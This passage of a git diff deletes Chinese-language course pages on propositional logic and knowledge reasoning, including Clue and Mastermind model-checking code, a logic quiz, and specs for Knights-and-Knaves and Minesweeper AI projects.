print(f"{symbol}: MAYBE") - else: - termcolor.cprint(f"{symbol}: No", "red") -# 必须有人、房间和武器。 -knowledge = And( - Or(mustard, plum, scarlet), - Or(ballroom, kitchen, library), - Or(knife, revolver, wrench) -) -# 初始卡牌 -knowledge.add(And( - Not(mustard), Not(kitchen), Not(revolver) -)) -# 未知卡牌 -knowledge.add(Or( - Not(scarlet), Not(library), Not(wrench) -)) -# 已知卡牌 -knowledge.add(Not(plum)) -knowledge.add(Not(ballroom)) -check_knowledge(knowledge) -``` - -## Mastermind 游戏 - -在这个游戏中,玩家一按照一定的顺序排列颜色,然后玩家二必须猜测这个顺序。每一轮,玩家二进行猜测,玩家一返回一个数字,指示玩家二正确选择了多少颜色。让我们用四种颜色模拟一个游戏。假设玩家二猜测以下顺序: - -![](https://cdn.xyxsw.site/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png) - -玩家一回答“二”。因此,我们知道其中一些两种颜色位于正确的位置,而另两种颜色则位于错误的位置。根据这些信息,玩家二试图切换两种颜色的位置。 - -![](https://cdn.xyxsw.site/Y80wbn96sol7PUxO5fKcOA9Hnbg.png) - -现在玩家一回答“零”。因此,玩家二知道切换后的颜色最初位于正确的位置,这意味着未被切换的两种颜色位于错误的位置。玩家二切换它们。 - -![](https://cdn.xyxsw.site/EuXObldHcoaO74xIzZocQQKTn4k.png) - -在命题逻辑中表示这一点需要我们有 (颜色的数量)$^2$个原子命题。所以,在四种颜色的情况下,我们会有命题 red0,red1,red2,red3,blue0…代表颜色和位置。下一步是用命题逻辑表示游戏规则(每个位置只有一种颜色,没有颜色重复),并将它们添加到知识库中。最后一步是将我们所拥有的所有线索添加到知识库中。在我们的案例中,我们会补充说,在第一次猜测中,两个位置是错误的,两个是正确的,而在第二次猜测中没有一个是对的。利用这些知识,模型检查算法可以为我们提供难题的解决方案。 - -```python -from logic import * -colors = ["red", "blue", "green", "yellow"] -symbols = [] -for i in range(4): - for color in colors: - symbols.append(Symbol(f"{color}{i}")) -knowledge = And() -# 每种颜色都有一个位置。 -for color in colors: - knowledge.add(Or( - Symbol(f"{color}0"), - Symbol(f"{color}1"), - Symbol(f"{color}2"), - Symbol(f"{color}3") - )) -# 每种颜色只有一个位置。 -for color in colors: - for i in range(4): - for j in range(4): - if i != j: - knowledge.add(Implication( - Symbol(f"{color}{i}"), Not(Symbol(f"{color}{j}")) - )) -# 每个位置只有一种颜色。 -for i in range(4): - for c1 in colors: - for c2 in colors: - if c1 != c2: - knowledge.add(Implication( - Symbol(f"{c1}{i}"), Not(Symbol(f"{c2}{i}")) - )) -knowledge.add(Or( - And(Symbol("red0"), Symbol("blue1"), Not(Symbol("green2")), Not(Symbol("yellow3"))), - And(Symbol("red0"), Symbol("green2"), Not(Symbol("blue1")), Not(Symbol("yellow3"))), - And(Symbol("red0"), Symbol("yellow3"), Not(Symbol("blue1")), Not(Symbol("green2"))), - And(Symbol("blue1"), Symbol("green2"), Not(Symbol("red0")), Not(Symbol("yellow3"))), - And(Symbol("blue1"), Symbol("yellow3"), Not(Symbol("red0")), Not(Symbol("green2"))), - And(Symbol("green2"), Symbol("yellow3"), Not(Symbol("red0")), Not(Symbol("blue1"))) -)) -knowledge.add(And( - Not(Symbol("blue0")), - Not(Symbol("red1")), - Not(Symbol("green2")), - Not(Symbol("yellow3")) -)) -print(knowledge.formula()) -for symbol in symbols: - if model_check(knowledge, symbol): - print(symbol) -``` - -## Quiz - -1. 下面的问题将问你关于以下逻辑句子的问题。1.如果 Hermione 在图书馆,那么 Harry 在图书馆。2.Hermione 在图书馆里。3.Ron 在图书馆,Ron 不在图书馆。4.Harry 在图书馆。5.Harry 不在图书馆,或者 Hermione 在图书馆。6.Rom 在图书馆,或者 Hermione 在图书馆。 - - 以下哪一个逻辑蕴含推理是正确的? - - 1. $1\vDash 4$ - 2. $5\vDash 6$ - 3. $1\vDash 2$ - 4. $6\vDash 2$ - 5. $2\vDash 5$ - 6. $6\vDash 3$ - -2. 除了讲义上讨论的连接词之外,还有其他的逻辑连接词。其中最常见的是“异或”(用符号$\oplus$表示)。表达式$A\oplus B$表示句子“A 或 B,但不是两者都有。”以下哪一个在逻辑上等同于$A\oplus B$? - 1. $(A ∨ B) ∧ ¬ (A ∨ B)$ - 2. $(A ∨ B) ∧ (A ∧ B)$ - 3. $(A ∨ B) ∧ ¬ (A ∧ B)$ - 4. $(A ∧ B) ∨ ¬ (A ∨ B)$ - -3. 设命题变量$R$为“今天下雨”,变量$C$为“今天多云”,变量$S$ 为“今天晴”。下面哪一个是“如果今天下雨,那么今天多云但不是晴天”这句话的命题逻辑表示? - - 1. $(R → C) ∧ ¬S$ - 2. $R → C → ¬S$ - 3. $R ∧ C ∧ ¬S$ - 4. $R → (C ∧ ¬S)$ - 5. $(C ∨ ¬S) → R$ - -4. 在一阶逻辑中,考虑以下谓词符号。$Student(x)$表示“x 是学生”的谓词。$Course(x)$代表“x 是课程”的谓词,$Enrolled(x,y)$表示“x 注册了 y”的谓词以下哪一项是“有一门课程是 Harry 和 Hermione 都注册的”这句话的一阶逻辑翻译? - 1. $∀x(Course(x)∧Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$ - 2. $∀x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$ - 3. $∀x(Enrolled(Harry, x) ∧ ∀y Enrolled(Hermione, y))$ - 4. $∃xEnrolled(Harry, x) ∧ ∃y Enrolled(Hermione, y)$ - 5. $∃x(Course(x) ∧ Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$ - 6. $∃x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md deleted file mode 100644 index 80b7020..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md +++ /dev/null @@ -1,234 +0,0 @@ -# 项目:扫雷,骑士与流氓问题 - -::: warning 😋 我们为你提供了两个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 - -如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 -::: - -::: tip 📥 -本节附件下载 -::: - -`pip3 install -r requirements.txt` - -## 骑士与流氓问题 - -### 背景 - -在 1978 年,逻辑学家雷蒙德·斯穆里安(Raymond Smullyan)出版了《这本书叫什么名字?》,这是一本逻辑难题的书。在书中的谜题中,有一类谜题被斯穆里安称为“骑士与流氓”谜题。 - -在骑士与流氓谜题中,给出了以下信息:每个角色要么是骑士,要么是流氓。骑士总是会说实话:如果骑士陈述了一句话,那么这句话就是真的。相反,流氓总是说谎:如果流氓陈述了一个句子,那么这个句子就是假的。 - -谜题的目标是,给出每个角色说的一组句子,确定每个角色是骑士还是流氓。 - -比如,这里有一个简单的谜题只有一个名为 A 的角色。A 说:“我既是骑士又是流氓。” - -从逻辑上讲,我们可以推断,如果 A 是骑士,那么这句话一定是真的。但我们知道这句话不可能是真的,因为 A 不可能既是骑士又是流氓——我们知道每个角色要么是骑士,要么是流氓,不会出现是流氓的骑士或是骑士的流氓。所以,我们可以得出结论,A 一定是流氓。 - -那个谜题比较简单。随着更多的字符和更多的句子,谜题可以变得更加棘手!你在这个问题中的任务是确定如何使用命题逻辑来表示这些谜题,这样一个运行模型检查算法的人工智能可以为我们解决这些谜题。 - -### 理解 - -看一下 `logic.py`,你可能还记得讲义的内容。无需了解此文件中的所有内容,但请注意,此文件为不同类型的逻辑连接词定义了多个类。这些类可以相互组合,所以表达式 `And(Not(A), Or(B, C))` 代表逻辑语句:命题 A 是不正确的,同时,命题 B 或者命题 C 是正确的。(这里的“或”是同或,不是异或) - -回想一下 `logic.py`,它还包含一个 函数 `model_check` 。`model_check` 输入知识库和查询结论。知识库是一个逻辑命题:如果知道多个逻辑语句,则可以将它们连接在一个表达式中。递归考虑所有可能的模型,如果知识库推理蕴含查询结论,则返回 `True`,否则返回 `False`。 - -现在,看看 `puzzle.py`,在顶部,我们定义了六个命题符号。例如,`AKnight` 表示“A 是骑士”的命题,`AKnave` 而表示“A 是流氓”的句子。我们也为字符 B 和 C 定义了类似的命题符号。 - -接下来是四个不同的知识库 `knowledge0`, `knowledge1`, `knowledge2`, and `knowledge3`,它们将分别包含推断即将到来的谜题 0、1、2 和 3 的解决方案所需的知识。请注意,目前,这些知识库中的每一个都是空的。这就是你进来的地方! - -这个 `puzzle.py` 的 `main` 函数在所有谜题上循环,并使用模型检查来计算,给定谜题的知识,无论每个角色是骑士还是无赖,打印出模型检查算法能够得出的任何结论。 - -### 明确 - -将知识添加到知识库 `knowledge0`, `knowledge1`, `knowledge2`, 和 `knowledge3` 中,以解决以下难题。 - -- 谜题 0 是背景中的谜题。它只包含一个简单的角色 A - - A 说:“我既是骑士又是流氓。” - -- 谜题 1 有两个角色:A 和 B - - A 说:“我们都是流氓。” - - B 什么都没说。 - -- 谜题 2 有两个角色:A 和 B - - A 说:“我们是同一种身份。” - - B 说:“我们不是同一种身份。” - -- 谜题 3 有三个角色:A,B 和 C - - A 说:“我是骑士”或者 A 说:“我是流氓”(这里“或”是异或,不是同或),但你不知道 A 说的是哪句话。 - - B 说:“A 说过‘我是流氓’。” - - B 又说:“C 是流氓。” - - C 说:“A 是骑士。” - -上述每个谜题中,每个角色要么是骑士,要么是流氓。骑士说的每一句话都是真的,流氓说的每一句话都是假的。 - -一旦你完成了一个问题的知识库,你应该能够运行 `python puzzle.py` 来查看谜题的解决方案。 - -### 提示 - -对于每个知识库,你可能想要编码两种不同类型的信息:(1)关于问题本身结构的信息(即骑士与流氓谜题定义中给出的信息),以及(2)关于角色实际说了什么的信息。 - -考虑一下,如果一个句子是由一个角色说出的,这意味着什么。在什么条件下这句话是真的?在什么条件下这个句子是假的?你如何将其表达为一个合乎逻辑的句子? - -每个谜题都有多个可能的知识库,可以计算出正确的结果。你应该尝试选择一个能对谜题中的信息进行最直接的知识库,而不是自己进行逻辑推理。你还应该考虑谜题中信息最简洁的表达方式是什么。 - -例如,对于谜题 0,设置 `knowledge0=AKnave` 将产生正确的输出,因为通过我们自己的推理,我们知道 A 一定是一个无赖。但这样做违背了这个问题的精神:目标是让你的人工智能为你做推理。 - -您不需要(也不应该)修改 `logic.py` 来完成这个问题。 - -## 扫雷 - -写一个 AI 来玩扫雷游戏。 - -![](https://cdn.xyxsw.site/CQmGb6QTjoeyVCx9vjncYF2QnQe.png) - -### 背景 - -#### 扫雷游戏 - -扫雷器是一款益智游戏,由一个单元格网格组成,其中一些单元格包含隐藏的“地雷”。点击包含地雷的单元格会引爆地雷,导致用户输掉游戏。单击“安全”单元格(即不包含地雷的单元格)会显示一个数字,指示有多少相邻单元格包含地雷,其中相邻单元格是指从给定单元格向左、向右、向上、向下或对角线一个正方形的单元格。 -例如,在这个 3x3 扫雷游戏中,三个 1 值表示这些单元格中的每个单元格都有一个相邻的单元格,该单元格是地雷。四个 0 值表示这些单元中的每一个都没有相邻的地雷。 - -![](https://cdn.xyxsw.site/BcfWbqCNKoXpTHxPQVqczsvcnBd.png) - -给定这些信息,玩家根据逻辑可以得出结论,右下角单元格中一定有地雷,左上角单元格中没有地雷,因为只有在这种情况下,其他单元格上的数字标签才会准确。 - -游戏的目标是标记(即识别)每个地雷。在游戏的许多实现中,包括本项目中的实现中,玩家可以通过右键单击单元格(或左键双击,具体取决于计算机)来标记地雷。 - -#### 命题逻辑 - -你在这个项目中的目标是建立一个可以玩扫雷游戏的人工智能。回想一下,基于知识的智能主体通过考虑他们的知识库来做出决策,并根据这些知识做出推断。 - -我们可以表示人工智能关于扫雷游戏的知识的一种方法是,使每个单元格成为命题变量,如果单元格包含地雷,则为真,否则为假。 - -![](https://cdn.xyxsw.site/IROdbJ4zAooiWNxitU9cRovbnne.png) - -我们现在掌握了什么信息?我们现在知道八个相邻的单元格中有一个是地雷。因此,我们可以写一个逻辑表达式,如下所示,表示其中一个相邻的单元格是地雷。 - -- `Or(A,B,C,D,E,F,G,H)` - -但事实上,我们知道的比这个表达所说的要多。上面的逻辑命题表达了这样一种观点,即这八个变量中至少有一个是真的。但我们可以做一个更有力的陈述:我们知道八个变量中有一个是真的。这给了我们一个命题逻辑命题,如下所示。 - -```txt -Or( - And(A, Not(B), Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)), - And(Not(A), B, Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)), - And(Not(A), Not(B), C, Not(D), Not(E), Not(F), Not(G), Not(H)), - And(Not(A), Not(B), Not(C), D, Not(E), Not(F), Not(G), Not(H)), - And(Not(A), Not(B), Not(C), Not(D), E, Not(F), Not(G), Not(H)), - And(Not(A), Not(B), Not(C), Not(D), Not(E), F, Not(G), Not(H)), - And(Not(A), Not(B), Not(C), Not(D), Not(E), Not(F), G, Not(H)), - And(Not(A), Not(B), Not(C), Not(D), Not(E), Not(F), Not(G), H) -) -``` - -这是一个相当复杂的表达!这只是为了表达一个单元格中有 1 意味着什么。如果一个单元格有 2、3 或其他值,这个表达式可能会更长。 - -试图对这类问题进行模型检查也会很快变得棘手:在 8x8 网格(微软初级游戏模式使用的大小)上,我们有 64 个变量,因此需要检查$2^{64}$个可能的模型——太多了,计算机无法在任何合理的时间内计算。对于这个问题,我们需要更好地表达知识。 - -#### 知识表示 - -相反,我们将像下面这样表示人工智能知识的每一句话。 - -- `{A, B, C, D, E, F, G, H} = 1` - -这种表示法中的每个逻辑命题都有两个部分:一个是网格中与提示数字有关的一组单元格 `cell`,另一个是数字计数 `count`,表示这些单元格中有多少是地雷。上面的逻辑命题说,在单元格 A、B、C、D、E、F、G 和 H 中,正好有 1 个是地雷。 - -为什么这是一个有用的表示?在某种程度上,它很适合某些类型的推理。考虑下面的游戏。 - -![](https://cdn.xyxsw.site/UiHObqm4noSOKlxcEtScuwPlnLd.png) - -利用左下数的知识,我们可以构造命题 `{D,E,G}=0`,意思是在 D、E 和 G 单元中,正好有 0 个是地雷。凭直觉,我们可以从这句话中推断出所有的单元格都必须是安全的。通过推理,每当我们有一个 `count` 为 0 的命题时,我们就知道该命题的所有 `cell` 都必须是安全的。 - -同样,考虑下面的游戏。 - -![](https://cdn.xyxsw.site/VSbubz9JYo7H8XxgSbCcmMQHniK.png) - -我们的人工智能会构建命题 `{E,F,H}=3`。凭直觉,我们可以推断出所有的 E、F 和 H 都是地雷。更一般地说,任何时候 `cell` 的数量等于 `count`,我们都知道这个命题的所有单元格都必须是地雷。 - -一般来说,我们只希望我们的命题是关于那些还不知道是安全的还是地雷的 `cell`。这意味着,一旦我们知道一个单元格是否是地雷,我们就可以更新我们的知识库来简化它们,并可能得出新的结论。 - -例如,如果我们的人工智能知道命题 `{A,B,C}=2`,那么我们还没有足够的信息来得出任何结论。但如果我们被告知 C 是安全的,我们可以将 C 从命题中完全删除,留下命题 `{A,B}=2`(顺便说一句,这确实让我们得出了一些新的结论) - -同样,如果我们的人工智能知道命题 `{A,B,C}=2`,并且我们被告知 C 是一颗地雷,我们可以从命题中删除 C,并减少计数的值(因为 C 是导致该计数的地雷),从而得到命题 `{A、B}=1`。这是合乎逻辑的:如果 A、B 和 C 中有两个是地雷,并且我们知道 C 是地雷,那么 A 和 B 中一定有一个是地雷。 - -如果我们更聪明,我们可以做最后一种推理。 - -![](https://cdn.xyxsw.site/GsxxbeoPzoOZn4xSUaecVzKNnBc.png) - -考虑一下我们的人工智能根据中间顶部单元格和中间底部单元格会知道的两个命题。从中上角的单元格中,我们得到 `{A,B,C}=1`。从底部中间单元格中,我们得到 `{A,B,C,D,E}=2`。从逻辑上讲,我们可以推断出一个新的知识,即 `{D,E}=1`。毕竟,如果 A、B、C、D 和 E 中有两个是地雷,而 A、B 和 C 中只有一个是地雷的话,那么 D 和 E 必须是另一个地雷。 - -更一般地说,任何时候我们有两个命题满足 `set1=count1` 和 `set2=count2`,其中 `set1` 是 `set2` 的子集,那么我们可以构造新的命题 `set2-set1=count2-count1`。考虑上面的例子,以确保你理解为什么这是真的。 - -因此,使用这种表示知识的方法,我们可以编写一个人工智能智能主体,它可以收集有关扫雷的知识,并希望选择它知道安全的单元格! - -### 理解 - -这个项目有两个主要文件:`runner.py` 和 `minesweeper.py`。`minesweeper.py` 包含游戏本身和 AI 玩游戏的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `minesweeper.py` 中所有必需的功能,你就可以运行 `python runner.py` 来玩扫雷了(或者让你的 AI 为你玩)! - -让我们打开 `minesweeper.py` 来了解提供了什么。这个文件中定义了三个类,`Minesweeper`,负责处理游戏;`Sentence`,表示一个既包含一组 `cell` 又包含一个 `count` 的逻辑命题;以及 `MinesweeperAI`,它处理根据知识做出的推断。 - -`Minesweeper` 类已经完全实现了。请注意,每个单元格都是一对 `(i,j)`,其中 `i` 是行号 (范围从 `0` 到 `height-1`),`j` 是列号 (范围从 `0` 到 `width-1`)。 - -`Sentence` 类将用于表示背景中描述的形式的逻辑命题。每个命题中都有一组 `cell`,以及 `count` 表示其中有多少单元格是地雷。该类还包含函数 `known_mines` 和 `known_safes`,用于确定命题中的任何单元格是已知的地雷还是已知的安全单元格。它还包含函数 `mark_mine` 和 `mark_safe`,用于响应有关单元格的新信息来更新命题。 - -最后,`MinesweeperAI` 类将实现一个可以玩扫雷的 AI。AI 类跟踪许多值。`self.moves_made` 包含一组已经点击过的所有单元格,因此人工智能知道不要再选择这些单元格。`self.mines` 包含一组已知为地雷的所有单元格。`self.safes` 包含一组已知安全的所有单元格。而 `self.knowledge` 包含了人工智能知道是真的所有命题的列表。 - -`mark_mine` 函数为 `self.mines` 添加了一个单元格,因此 AI 知道这是一个地雷。它还循环遍历人工智能知识中的所有命题,并通知每个命题该单元格是地雷,这样,如果命题包含有关地雷的信息,它就可以相应地更新自己。`mark_safe` 函数也做同样的事情,只是针对安全单元格。 - -剩下的函数 `add_knowledge`、`make_safe_move` 和 `make_random_move` 由你完成! - -### 明确 - -完成 `minesweeper.py` 中的 `Sentence` 类和 `MinesweeperAI` 类的实现。 -在 `Sentence` 类中,完成 `known_mines`、`known_safes`、`mark_mine` 和 `mark_safe` 的实现。 - -- `known_mines` 函数应该返回 `self.cells` 中已知为地雷的所有单元格的集合。 -- `known_safes` 函数应该返回 `self.cells` 中已知安全的所有单元格的集合。 -- `mark_mine` 函数应该首先检查单元格是否是命题中包含的单元格之一。 - - 如果 `cell` 在命题中,函数应该更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是地雷。 - - 如果命题中没有 `cell`,则不需要采取任何行动。 -- `mark_safe` 函数应该首先检查单元格是否是命题中包含的单元格之一。 - - 如果 `cell` 在命题中,则函数应更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是安全的。 - - 如果命题中没有 `cell`,则不需要采取任何行动。 - -在 `MinesweeperAI` 类中,完成 `add_knowledge`、`make_safe_move` 和 `make_random_move` 的实现。 - -- `add_knowledge` 应该接受一个单元格(表示为元组 `(i,j)`)及其相应的 `count`,并使用 AI 可以推断的任何新信息更新 `self.mines`、`self.safes`、`self.moves_made` 和 `self.knowledge`,因为该单元格是已知的安全单元格,其附近有计数地雷。 - - 该函数应将该 `cell` 标记为游戏中的一个动作。 - - 函数应该将 `cell` 标记为安全单元格,同时更新包含该单元格的任何命题。 - - 该函数应该根据 `cell` 和 `count` 的值,在人工智能的知识库中添加一个新命题,以表明 `cell` 的邻居有 `count` 是地雷。请确保在命题中只包含状态尚未确定的单元格。 - - 如果根据 `self.knowledge` 中的任何一个命题,新的单元格可以被标记为安全的或地雷,那么函数应该这样做。 - - 如果根据 `self.knowledge` 中的任何一个命题,可以推断出新的命题(使用背景技术中描述的子集方法),那么这些命题也应该添加到知识库中。 - - 请注意,每当你对人工智能的知识做出任何改变时,都有可能得出以前不可能的新推论。如果可能的话,请确保将这些新的推断添加到知识库中。 - -- `make_safe_move` 应该返回一个已知安全的选择 `(i,j)`。 - - 必须知道返回的动作是安全的,而不是已经做出的动作。 - - 如果无法保证安全移动,则函数应返回 `None`。 - - 该函数不应修改 `self.moves_made`、`self.mines`、`self.safes` 或 `self.knowledge`。 - -- `make_random_move` 应该返回一个随机选择 `(i,j)`。 - - 如果无法安全移动,将调用此功能:如果人工智能不知道移动到哪里,它将选择随机移动。 - - 此举不得是已经采取的行动。 - - 此举决不能是已知的地雷行动。 - - 如果无法进行此类移动,则函数应返回 `None`。 - -### 提示 - -- 确保你已经彻底阅读了背景部分,以了解知识在这个人工智能中是如何表现的,以及人工智能是如何进行推理的。 -- 如果对面向对象编程感觉不太舒服,你可能会发现[python 关于类](https://docs.python.org/3/tutorial/classes.html)的文档很有帮助。 -- 你可以在[python 关于集合](https://docs.python.org/3/library/stdtypes.html#set)的文档中找到一些常见的集合操作。 -- 在 `Sentence` 类中实现 `known_mines` 和 `known_safes` 时,请考虑:在什么情况下,你确信命题的单元格是安全的?在什么情况下,你确定一个命题的单元格是地雷? -- `add_knowledge` 做了很多工作,可能是迄今为止你为该项目编写的最长的函数。一步一步地实现此函数的行为可能会有所帮助。 -- 如果愿意,欢迎您向任何类添加新方法,但不应修改任何现有函数的定义或参数。 -- 当你运行你的人工智能(如点击“AI Move”)时,请注意它并不总是获胜!在某些情况下,人工智能必须进行猜测,因为它缺乏足够的信息来进行安全行动。这是意料之中的事。`runner.py` 将打印人工智能是否正在进行其认为安全的移动,或者是否正在进行随机移动。 -- 在对集合进行迭代时,请注意不要修改它。这样做可能会导致错误! diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理.md deleted file mode 100644 index 83fcd8a..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理.md +++ /dev/null @@ -1,350 +0,0 @@ -# 知识推理 - -人类根据现有的知识进行推理并得出结论。表示知识并从中得出结论的概念也被用于人工智能中,在本章中我们将探讨如何实现这种行为。 - -::: warning **说好的 AI 呢?怎么感觉越来越偏了?** - -如果有这样的疑问的同学,可能存在一定的误区,认为人工智能就是局限在深度学习的算法或者说机器学习的部分算法上,其实这是对这个领域一个巨大的误解。 - -在 AI 的发展历程上,曾经存在一次符号主义(Symbolic)与联结主义(Connectionism)之争。 - -联结主义的中心原则是使用,简单且经常一致的单元互联网络,来描述各种现象,即简单的复杂叠加。在目前的深度学习网络中有着最为广泛的应用。 - -符号主义则相信,智能的许多特征可以透过[符号](https://zh.wikipedia.org/wiki/%E7%89%A9%E7%90%86%E7%AC%A6%E8%99%9F%E7%B3%BB%E7%B5%B1)处理来实现。最为显著的应用即是早期的专家系统。 - -从本质上来说,二者都存在用机器可以理解的语言表征知识,随后让机器依照人为制定的理论或数据依照概率或推理得到人所期望获得的的知识或结果。 - -而在本章的内容中,知识推理目标是让机器存储相应的知识,并且能够按照某种规则推理演绎得到新的知识,与 AI 的主体逻辑是相融洽的。目前的主流 AI 领域,知识图谱的重要组成部分,便包括了知识推理这个步骤,即从已知到未知。 - -那么如何构建让计算机可以理解的知识体系呢?如何让机器从已告知他的逻辑延伸到未告知他逻辑呢?数学家和计算机科学家甚至为此构建了相较而言非常完善的理论体系,包括但不限于离散数学,计算理论甚至是抽象数学,我在最后补充三本阅读材料,各位如果想要深入了解,可以进行进一步的阅读和理解。 - -较为基础的知识各位可以看以下的内容。 -::: - -## 基础知识 - -### 基于知识的智能主体 (Knowledge-Based Agents) - -智能主体通过对内部的知识表征进行操作来推理得出结论。 - -“根据知识推理得出结论”是什么意思? - -让我们开始用哈利波特的例子来回答这个问题。考虑以下句子: - - 1. 如果没有下雨,哈利今天会去拜访海格。 - 2. 哈利今天拜访了海格或邓布利多,但没有同时拜访他们。 - 3. 哈利今天拜访了邓布利多。 -基于这三个句子,我们可以回答“今天下雨了吗?”这个问题,尽管没有一个单独的句子告诉我们今天是否下雨,根据推理我们可以得出结论“今天下雨了”。 - -### 陈述句 (Sentence) - -陈述句是知识表示语言中关于世界的断言。陈述句是人工智能存储知识并使用它来推断新信息的方式。 - -## 命题逻辑 (Propositional Logic) - -命题逻辑基于命题。命题是关于世界的陈述,可以是真也可以是假,正如上面例子中的句子。 - -### 命题符号 (Propositional Symbols) - -命题符号通常是用于表示命题的字母$P、Q、R$ - -### 逻辑连接词 (Logical Connectives) - -逻辑连接词是连接命题符号的逻辑符号,以便以更复杂的方式对世界进行推理。 - - - Not ($\lnot$) 逻辑非:命题真值的反转。例如,如果 $P$:“正在下雨”,那么 $¬P$:“没有下雨”。 - 真值表用于将所有可能的真值赋值与命题进行比较。该工具将帮助我们更好地理解与不同逻辑连接词相关联的命题的真值。例如,下面是我们的第一个真值表: - - | $P$ | $\lnot P$ | - | -------- | --------- | - | false(0) | true(1) | - | true(1) | false(0) | - -- **And(**$\land$**)** 逻辑乘 (合取): 连接两个不同的命题。当这两个命题$P$和$Q$用$∧$连接时,得到的命题$P∧Q$只有在$P$和$Q$都为真的情况下才为真。 - - | $P$ | $Q$ | $P\land Q$ | - | --- | --- | ---------- | - | 0 | 0 | 0 | - | 0 | 1 | 0 | - | 1 | 0 | 0 | - | 1 | 1 | 1 | - -- **Or(**$\lor$**)** 逻辑和 (析取): 只要它的任何一个参数为真,它就为真。这意味着要使 $P ∨ Q$为真,$P$ 或 $Q$ 中至少有一个必须为真。 - - | $P$ | $Q$ | $P\lor Q$ | - | --- | --- | --------- | - | 0 | 0 | 0 | - | 0 | 1 | 1 | - | 1 | 0 | 1 | - | 1 | 1 | 1 | - - 值得一提的是,Or 有两种类型:同或 Or 和异或 Or。在异或中,如果$P\lor Q$为真,则$P∧Q$为假。也就是说,一个异或要求它只有一个论点为真,而不要求两者都为真。如果$P、Q$或$P∧Q$中的任何一个为真,则包含或为真。在 Or($\lor$) 的情况下,意图是一个包含的 Or。 - -- **Implication (→)** 逻辑蕴含:表示“如果$P$,则$Q$的结构。例如,如果$P$:“正在下雨”,$Q$:“我在室内”,则$P→ Q$的意思是“如果下雨,那么我在室内。”在$P$的情况下,意味着$Q$,$P$被称为前件,$Q$ 被称为后件。 - - 当前件为真时,在后件为真的情况下,整个蕴含逻辑为真(这是有道理的:如果下雨,我在室内,那么“如果下雨,那么我在室内”这句话是真的)。当前件为真时,如果后件为假,则蕴含逻辑为假(如果下雨时我在外面,那么“如果下雨,那么我在室内”这句话是假的)。然而,当前件为假时,无论后件如何,蕴含逻辑总是真的。这有时可能是一个令人困惑的概念。从逻辑上讲,我们不能从蕴含中学到任何东西$(P→ Q)$如果前件 ($P$) 为假。看一下我们的例子,如果没有下雨,这个蕴含逻辑并没有说我是否在室内的问题。我可能是一个室内型的人,即使不下雨也不在外面走,或者我可能是一个室外型的人,不下雨的时候一直在外面。当前件是假的,我们说蕴含逻辑是真的。 - - | $P$ | $Q$ | $P\to Q$ | - | --- | --- | -------- | - | 0 | 0 | 1 | - | 0 | 1 | 1 | - | 1 | 0 | 0 | - | 1 | 1 | 1 | - - -- Biconditional ($\leftrightarrow$) :是一个双向的蕴含。你可以把它读成“如果且仅当”$P↔ Q$等同$P→ Q$和$Q→ P$合在一起。例如,如果$P$:“正在下雨”,$Q$:“我在室内”,那么$P↔ Q$的意思是“如果下雨,那么我在室内”,“如果我在室内,那么就在下雨。”这意味着我们可以推断出比简单蕴含更多的东西。如果$P$为假,那么$Q$ 也为假;如果不下雨,我们知道我也不在室内。 - - | $P$ | $Q$ | $P\leftrightarrow Q$ | - | --- | --- | -------------------- | - | 0 | 0 | 1 | - | 0 | 1 | 0 | - | 1 | 0 | 0 | - | 1 | 1 | 1 | - -### 模型 (Model) - -模型是对每个命题的真值赋值。重申一下,命题是关于世界的陈述,可以是真也可以是假。然而,关于世界的知识体现在这些命题的真值中。模型是提供有关世界的信息的真值赋值。 - -例如,如果 $P$:“正在下雨。”和 $Q$:“今天是星期二。”,模型可以是以下真值赋值:$\set{P = True, Q = False}$。此模型表示正在下雨,但不是星期二。然而,在这种情况下有更多可能的模型(例如,$\set{P = True, Q = True}$,星期二并且下雨)。事实上,可能模型的数量是命题数量的 2 次方。在这种情况下,我们有 2 个命题,所以 $2^2=4$ 个可能的模型。 - -### 知识库 (Knowledge Base (KB)) - -知识库是基于知识的智能主题已知的一组陈述句。这是关于人工智能以命题逻辑语句的形式提供的关于世界的知识,可用于对世界进行额外的推理。 - -### 蕴含推理 (Entailment ($\vDash$)) - -如果 $α ⊨ β$($α$蕴含推理出 $β$),那么在任何 $α$为真的世界中,$β$也为真。 - -例如,如果 $α$:“今天是一月的星期二”和 $β$:“今天是星期二”,那么我们知道 $α ⊨ β$。如果确实是一月的星期二,我们也知道这是星期二。蕴含推理不同于逻辑蕴含。逻辑蕴涵是两个命题之间的逻辑连接。另一方面,推理蕴含关系是指如果 $α$中的所有信息都为真,则 $β$中的所有信息都为真。 - -## 推理 (Inference) - -推理是从原有命题推导出新命题的过程。 - -### 模型检查算法 (Model Checking algorithm) - -确定是否$KB ⊨ α$(换句话说,回答问题:“我们能否根据我们的知识库得出结论 $α$为真?”) - - - 枚举所有可能的模型。 - - 如果在 $KB$为真的每个模型中,$α$也为真,则 $KB ⊨ α$。 - -#### 一个例子 - -$P$: 今天是星期四,$Q$: 今天下雨,$R$: 我将出门跑步$ - -$KB$: 如果今天是星期四并且不下雨,那我将出门跑步;今天是星期四;今天不下雨。$(P\land\lnot Q)\to R,P,\lnot Q$ - -查询结论 (query): $R$ - -![](https://cdn.xyxsw.site/E8YrbXnGtoNHEJxmAttcX4p0nlg.png) - -接下来,让我们看看如何将知识和逻辑表示为代码。 - -```python -from logic import * # 创建新类,每个类都有一个名称或一个符号,代表每个命题。 -rain = Symbol("rain") # 今天下雨 